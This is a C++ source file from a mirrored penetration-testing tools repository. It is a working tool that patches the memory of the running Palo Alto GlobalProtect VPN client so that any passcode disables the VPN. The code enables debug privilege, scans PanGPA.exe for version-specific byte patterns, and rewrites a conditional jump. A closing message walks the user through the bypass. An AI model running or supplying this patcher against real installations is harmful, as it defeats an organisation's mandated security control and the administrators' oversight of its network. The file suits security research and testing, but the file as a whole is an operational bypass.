mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-21 18:11:37 +01:00
465 lines
14 KiB
C++
465 lines
14 KiB
C++
/*
|
|
* Global Protect VPN Application patcher allowing the
|
|
* Administrator user to disable VPN without Passcode.
|
|
*
|
|
* It does this by patching process memory and thus allowing to
|
|
* disable VPN without entering proper password.
|
|
*
|
|
* Tested on Palo Alto Networks:
|
|
* GlobalProtect client 3.1.6.19 (x64)
|
|
* GlobalProtect client 5.0.3.29 (x64)
|
|
* GlobalProtect client 5.1.3.12 (x64)
|
|
* GlobalProtect client 5.2.8.23 (x64)
|
|
*
|
|
* Compilation:
|
|
* C:> g++ GlobalProtectDisable.cpp -o GlobalProtectDisable.exe -static -static-libgcc -static-libstdc++
|
|
*
|
|
* Mariusz Banach / mgeeky, '18-'20
|
|
**/
|
|
|
|
#include "windows.h"
|
|
#include <iostream>
|
|
#include <sstream>
|
|
#include <tlhelp32.h>
|
|
|
|
using namespace std;
|
|
|
|
const size_t PatternsNum = 4;
|
|
|
|
const wchar_t *versionsArray[PatternsNum] = {
|
|
L"3.1.6.19",
|
|
L"5.0.3.29",
|
|
L"5.1.3.12",
|
|
L"5.2.8.23",
|
|
};
|
|
|
|
//
|
|
// Patterns defined below must end up just before bytes intended to be replaced,
|
|
// so just before JNE opcodes (75 XY)
|
|
//
|
|
|
|
/*
|
|
00007FF621B7D02A | 85 C0 | test eax, eax |
|
|
00007FF621B7D02C | 78 61 | js pangpa.7FF621B7D08F |
|
|
00007FF621B7D02E | 48 8B CB | mov rcx, rbx |
|
|
00007FF621B7D031 | E8 7A 00 00 00 | call pangpa.7FF621B7D0B0 |
|
|
00007FF621B7D036 | 85 C0 | test eax, eax |
|
|
00007FF621B7D038 | 75 55 | jne pangpa.7FF621B7D08F
|
|
^--- This is byte to be patched. ----^
|
|
*/
|
|
const BYTE patternToFind31619[] = {
|
|
0x85, 0xC0, 0x78, 0x61, 0x48, 0x8B, 0xCB, 0xE8,
|
|
0x7A, 0x00, 0x00, 0x00, 0x85, 0xC0
|
|
};
|
|
|
|
/*
|
|
.text:000000014005BFCC 48 83 C1 78 add rcx, 78h ; 'x'
|
|
.text:000000014005BFD0 FF 15 BA B3 04 00 call cs:CRichEditView::XRichEditOleCallback::ContextSensitiveHelp(int)
|
|
.text:000000014005BFD6 85 C0 test eax, eax
|
|
.text:000000014005BFD8 75 49 jnz short loc_14005C023
|
|
^--- This is byte to be patched. ----^
|
|
.text:000000014005BFDA 83 3D B3 94 0A 00 05 cmp cs:dword_140105494, 5
|
|
|
|
Look for strings such as:
|
|
"CDisableDialog::CheckPasscode - passcode matched, ok to disable"
|
|
"CDisableDialog::CheckPasscode - passcode mismatch, deny disabling"
|
|
*/
|
|
const BYTE patternToFind50329[] = {
|
|
0x48, 0x83, 0xc1, 0x78, 0xff, 0x15, 0xba, 0xb3, 0x04, 0x00,
|
|
0x85, 0xc0
|
|
};
|
|
|
|
|
|
/*
|
|
.text:000000014009E654 4C 89 B4 24 88 00 00 00 mov [rsp+0A8h+var_20], r14
|
|
.text:000000014009E65C 4C 89 BC 24 80 00 00 00 mov [rsp+0A8h+var_28], r15
|
|
.text:000000014009E664 85 D2 test edx, edx
|
|
.text:000000014009E666 0F 85 8C 00 00 00 jnz loc_14009E6F8
|
|
^--- This is byte to be patched. -------^
|
|
.text:000000014009E66C 83 3D 41 E4 34 00 05 cmp cs:dword_1403ECAB4, 5
|
|
.text:000000014009E673 72 78 jb short loc_14009E6ED
|
|
.text:000000014009E675 48 8D 4C 24 60 lea rcx, [rsp+0A8h+SystemTime] ; lpSystemTime
|
|
*/
|
|
const BYTE patternToFind51312[] = {
|
|
0x24, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xBC, 0x24, 0x80,
|
|
0x00, 0x00, 0x00, 0x85, 0xD2
|
|
};
|
|
|
|
const wchar_t *processName = L"PanGPA.exe";
|
|
const size_t SizeOfReplacingBytes = 2;
|
|
|
|
// jne pangpa.7FF621B7D08F
|
|
const BYTE bytesToBeReplaced31619[SizeOfReplacingBytes] = {
|
|
0x75, 0x55
|
|
};
|
|
|
|
// je pangpa.7FF621B7D08F
|
|
const BYTE replacingBytes31619[SizeOfReplacingBytes] = {
|
|
0x74, 0x55
|
|
};
|
|
|
|
// jnz short loc_14005C023
|
|
const BYTE bytesToBeReplaced50329[SizeOfReplacingBytes] = {
|
|
0x75, 0x49
|
|
};
|
|
|
|
// jz short loc_14005C023
|
|
const BYTE replacingBytes50329[SizeOfReplacingBytes] = {
|
|
0x74, 0x49
|
|
};
|
|
|
|
// jnz loc_14009E6F8
|
|
const BYTE bytesToBeReplaced51312[SizeOfReplacingBytes] = {
|
|
0x0F, 0x85
|
|
};
|
|
|
|
// jz loc_14009E6F8
|
|
const BYTE replacingBytes51312[SizeOfReplacingBytes] = {
|
|
0x0F, 0x84
|
|
};
|
|
|
|
|
|
const BYTE *patternsArray[PatternsNum] = {
|
|
patternToFind31619,
|
|
patternToFind50329,
|
|
patternToFind51312,
|
|
patternToFind51312
|
|
};
|
|
|
|
const size_t patternsSizes[PatternsNum] = {
|
|
sizeof(patternToFind31619),
|
|
sizeof(patternToFind50329),
|
|
sizeof(patternToFind51312),
|
|
sizeof(patternToFind51312)
|
|
};
|
|
|
|
const BYTE *patternsToBeReplaced[PatternsNum] = {
|
|
bytesToBeReplaced31619,
|
|
bytesToBeReplaced50329,
|
|
bytesToBeReplaced51312,
|
|
bytesToBeReplaced51312
|
|
};
|
|
|
|
const BYTE *replacingBytes[PatternsNum] = {
|
|
replacingBytes31619,
|
|
replacingBytes50329,
|
|
replacingBytes51312,
|
|
replacingBytes51312
|
|
};
|
|
|
|
|
|
struct moduleInfo {
|
|
UINT64 baseAddr;
|
|
DWORD baseSize;
|
|
};
|
|
|
|
bool alreadyPatched = false;
|
|
|
|
|
|
void dbg(const wchar_t * format, ...) {
|
|
wchar_t buffer[4096];
|
|
va_list args;
|
|
va_start (args, format);
|
|
vswprintf (buffer,format, args);
|
|
|
|
wcout << L"[dbg] " << buffer << endl;
|
|
va_end (args);
|
|
}
|
|
|
|
void msg(const wchar_t * format, ...) {
|
|
wchar_t buffer[4096];
|
|
va_list args;
|
|
va_start (args, format);
|
|
vswprintf (buffer,format, args);
|
|
|
|
MessageBoxW(NULL, buffer, L"GlobalProtectDisable", 0);
|
|
va_end (args);
|
|
}
|
|
|
|
BOOL setPrivilege(
|
|
HANDLE hToken, // access token handle
|
|
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
|
|
BOOL bEnablePrivilege // to enable or disable privilege
|
|
){
|
|
|
|
TOKEN_PRIVILEGES tp;
|
|
LUID luid;
|
|
|
|
if ( !LookupPrivilegeValue(
|
|
NULL, // lookup privilege on local system
|
|
lpszPrivilege, // privilege to lookup
|
|
&luid ) ) // receives LUID of privilege
|
|
{
|
|
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
|
|
return FALSE;
|
|
}
|
|
|
|
tp.PrivilegeCount = 1;
|
|
tp.Privileges[0].Luid = luid;
|
|
if (bEnablePrivilege)
|
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
else
|
|
tp.Privileges[0].Attributes = 0;
|
|
|
|
// Enable the privilege or disable all privileges.
|
|
if ( !AdjustTokenPrivileges(
|
|
hToken,
|
|
FALSE,
|
|
&tp,
|
|
sizeof(TOKEN_PRIVILEGES),
|
|
(PTOKEN_PRIVILEGES) NULL,
|
|
(PDWORD) NULL) ){
|
|
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
|
|
return FALSE;
|
|
}
|
|
|
|
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){
|
|
printf("The token does not have the specified privilege. \n");
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
DWORD findProcess(const wchar_t *procname) {
|
|
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if(hSnapshot) {
|
|
PROCESSENTRY32W pe32;
|
|
pe32.dwSize = sizeof(PROCESSENTRY32W);
|
|
|
|
if(Process32FirstW(hSnapshot, &pe32)) {
|
|
do {
|
|
if (wcsicmp(procname, pe32.szExeFile) == 0) {
|
|
return pe32.th32ProcessID;
|
|
}
|
|
} while(Process32NextW(hSnapshot, &pe32));
|
|
}
|
|
CloseHandle(hSnapshot);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
BOOL getProcessModule(
|
|
const wchar_t * modName,
|
|
DWORD pid,
|
|
struct moduleInfo *out
|
|
) {
|
|
dbg(L"PID = %d", pid);
|
|
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
|
|
|
|
if(hSnapshot != INVALID_HANDLE_VALUE) {
|
|
MODULEENTRY32W me32;
|
|
me32.dwSize = sizeof(MODULEENTRY32W);
|
|
|
|
if(Module32FirstW(hSnapshot, &me32)) {
|
|
do {
|
|
dbg(L"Module name: %ls", me32.szModule);
|
|
|
|
if (wcsicmp(modName, me32.szModule) == 0) {
|
|
memset(out, 0, sizeof(struct moduleInfo));
|
|
|
|
out->baseAddr = (UINT64)me32.modBaseAddr;
|
|
out->baseSize = me32.modBaseSize;
|
|
|
|
return true;
|
|
}
|
|
} while(Module32NextW(hSnapshot, &me32));
|
|
}
|
|
else {
|
|
dbg(L"Module32FirstW failed.");
|
|
}
|
|
|
|
CloseHandle(hSnapshot);
|
|
}
|
|
else {
|
|
dbg(L"CreateToolhelp32Snapshot failed.");
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
BOOL patchProcessMemory(
|
|
struct moduleInfo &mod,
|
|
DWORD pid,
|
|
HANDLE hProcess,
|
|
const BYTE * patternToFind,
|
|
size_t patternToFindNum,
|
|
const BYTE * bytesToBeReplaced,
|
|
size_t bytesToBeReplacedNum,
|
|
const BYTE * replacingBytes,
|
|
size_t replacingBytesNum
|
|
) {
|
|
dbg(L"Module base: %llx, module size: %d", mod.baseAddr, mod.baseSize);
|
|
|
|
BYTE page[4096];
|
|
|
|
SIZE_T fetched = 0;
|
|
UINT64 addr = mod.baseAddr;
|
|
|
|
while( fetched < mod.baseSize) {
|
|
memset(page, 0, sizeof(page));
|
|
|
|
SIZE_T out = 0;
|
|
|
|
if(ReadProcessMemory(
|
|
hProcess,
|
|
reinterpret_cast<LPCVOID>(addr),
|
|
page,
|
|
sizeof(page),
|
|
&out
|
|
)) {
|
|
|
|
UINT64 foundAddr = 0;
|
|
|
|
for(size_t m = 0; m < sizeof(page); m++) {
|
|
if (page[m] == patternToFind[0]) {
|
|
bool found = true;
|
|
for(size_t n = 0; n < patternToFindNum; n++) {
|
|
if(page[m + n] != patternToFind[n]) {
|
|
found = false;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if(found) {
|
|
dbg(L"Found pattern at: %016llx: %x, %x, %x, %x, %x, %x, %x, %x, ...",
|
|
addr + m,
|
|
page[m + 0],
|
|
page[m + 1],
|
|
page[m + 2],
|
|
page[m + 3],
|
|
page[m + 4],
|
|
page[m + 5],
|
|
page[m + 6],
|
|
page[m + 7]
|
|
);
|
|
|
|
for(size_t n = 0; n < bytesToBeReplacedNum; n++) {
|
|
if(page[m + patternToFindNum + n] != bytesToBeReplaced[n]) {
|
|
found = false;
|
|
|
|
if ( page[m + patternToFindNum + n] == replacingBytes[n]) {
|
|
msg(L"Process is already patched.\nNo need to do it again.");
|
|
alreadyPatched = true;
|
|
return false;
|
|
}
|
|
|
|
dbg(L"Assuring pattern failed at byte %d: %x -> %x",
|
|
n, page[m + patternToFindNum + n], bytesToBeReplaced[n] );
|
|
break;
|
|
}
|
|
}
|
|
|
|
if(found) {
|
|
foundAddr = addr + m + patternToFindNum;
|
|
dbg(L"Found pattern at: 0x%llx", foundAddr);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if (foundAddr) {
|
|
dbg(L"Starting patching process from address: %016llx", foundAddr);
|
|
out = 0;
|
|
|
|
if(WriteProcessMemory(
|
|
hProcess,
|
|
reinterpret_cast<LPVOID>(foundAddr),
|
|
replacingBytes,
|
|
replacingBytesNum,
|
|
&out
|
|
)) {
|
|
dbg(L"Process has been patched, written: %d bytes.", out);
|
|
return true;
|
|
}
|
|
|
|
dbg(L"Process patching failed.");
|
|
return false;
|
|
}
|
|
|
|
fetched += out;
|
|
addr += out;
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
int CALLBACK WinMain(
|
|
HINSTANCE hInstance,
|
|
HINSTANCE hPrevInstance,
|
|
LPSTR lpCmdLine,
|
|
int nCmdShow
|
|
) {
|
|
|
|
HANDLE hToken = NULL;
|
|
|
|
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){
|
|
msg(L"OpenProcessToken() failed, error %u\n", GetLastError());
|
|
return 0;
|
|
}
|
|
|
|
if(!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) {
|
|
msg(L"Failed to enable privilege, error %u\n", GetLastError());
|
|
return 0;
|
|
}
|
|
|
|
DWORD pid = findProcess(processName);
|
|
if (!pid) {
|
|
msg(L"Could not find GlobalProtect process.");
|
|
return 0;
|
|
}
|
|
|
|
dbg(L"Found PanGPA process: %d", pid);
|
|
|
|
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
|
if (!hProcess) {
|
|
msg(L"Could not open GlobalProtect process. Error: %d", GetLastError());
|
|
return 0;
|
|
}
|
|
|
|
dbg(L"Opened process handle.");
|
|
|
|
BOOL ret;
|
|
|
|
struct moduleInfo mod = {0};
|
|
if (!getProcessModule(processName, pid, &mod)) {
|
|
dbg(L"Could not find process module. Error: %d", GetLastError());
|
|
return false;
|
|
}
|
|
|
|
size_t i = 0;
|
|
for(i = 0; i < PatternsNum; i++)
|
|
{
|
|
dbg(L"Trying to match pattern for version: %ls", versionsArray[i]);
|
|
|
|
ret = patchProcessMemory(
|
|
mod,
|
|
pid,
|
|
hProcess,
|
|
patternsArray[i],
|
|
patternsSizes[i],
|
|
patternsToBeReplaced[i],
|
|
SizeOfReplacingBytes,
|
|
replacingBytes[i],
|
|
SizeOfReplacingBytes
|
|
);
|
|
|
|
if(ret) break;
|
|
}
|
|
|
|
if(!ret) {
|
|
if(!alreadyPatched) {
|
|
msg(L"Could not patch the process. Error: %d", GetLastError());
|
|
}
|
|
}
|
|
else {
|
|
msg(L"Successfully patched the process (version: %ls)! :-)\nNow, in order to bypass GlobalProtect - do the following:\n\t1. Right click on GlobalProtect Tray-icon\n\t2. Select 'Disable'\n\t3. In 'Passcode' input field enter whatever you like.\n\t4. Press OK.\n\nThe GlobalProtect should disable itself cleanly.\n\nHave fun!", versionsArray[i]);
|
|
}
|
|
|
|
dbg(L"Closing process handle.");
|
|
CloseHandle(hProcess);
|
|
return 0;
|
|
} |